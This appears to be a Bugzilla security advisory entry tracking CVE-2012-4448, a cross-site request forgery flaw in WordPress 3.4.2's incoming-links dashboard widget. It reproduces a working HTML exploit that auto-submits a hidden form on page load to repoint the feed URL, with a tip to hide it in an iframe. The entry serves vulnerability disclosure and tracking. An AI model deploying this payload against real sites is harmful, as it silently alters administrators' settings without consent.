A cross-site request forgery (CSRF) flaw was found in the way WordPress, a blog tool and publishing platform, performed sanitization of parameters by registering dashboard widgets for incoming links widget. A remote attacker could provide a specially-crafted web page that, when visited by wordpress administrator could allow the attacker to change the URL of the feed for the incoming links section of the dashboard. References: [1] http://packetstormsecurity.org/files/116785/WordPress-3.4.2-Cross-Site-Request-Forgery.html [2] https://bugs.gentoo.org/show_bug.cgi?id=436198 [3] https://secunia.com/advisories/50715/
Local copy of the reproducer from [1]: ==================WORDPRESS 3.4.2 CSRF exploit================= <body onload="javascript:document.forms[0].submit()"> <form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form"> <h1>How Many Girls You Have? xD))</h1> <!-- Idea for you: Iframe it --> <input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" /> <select id="rss-items-1" name="widget-rss[1][items]"> <option value='1' >1</option> <option value='2' >2</option> <option value='3' >3</option><option value='4' >4</option> <option value='5' >5</option> <option value='6' >6</option> <option value='7' >7</option> <option value='8' >8</option> <option value='9' >9</option> <option value='10' >10</option> <option value='11' >11</option> <option value='12' >12</option> <option value='13' >13</option> <option value='14' >14</option> <option value='15' >15</option> <option value='16' >16</option> <option value='17' >17</option> <option value='18' >18</option> <option value='19' >19</option> <option value='20' selected='selected'>20</option> </select> <input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> <input type="hidden" name="widget_id" value="dashboard_incoming_links" /> </form> ====================END OF=================================
CVE request: [4] http://www.openwall.com/lists/oss-security/2012/09/25/10
Created wordpress tracking bugs for this issue Affects: fedora-all [bug 860267] Affects: epel-all [bug 860268]
The CVE identifier of CVE-2012-4448 has been assigned to this issue: http://www.openwall.com/lists/oss-security/2012/09/25/15
This CVE Bugzilla entry is for community support informational purposes only as it does not affect a package in a commercially supported Red Hat product. Refer to the dependent bugs for status of those individual community products.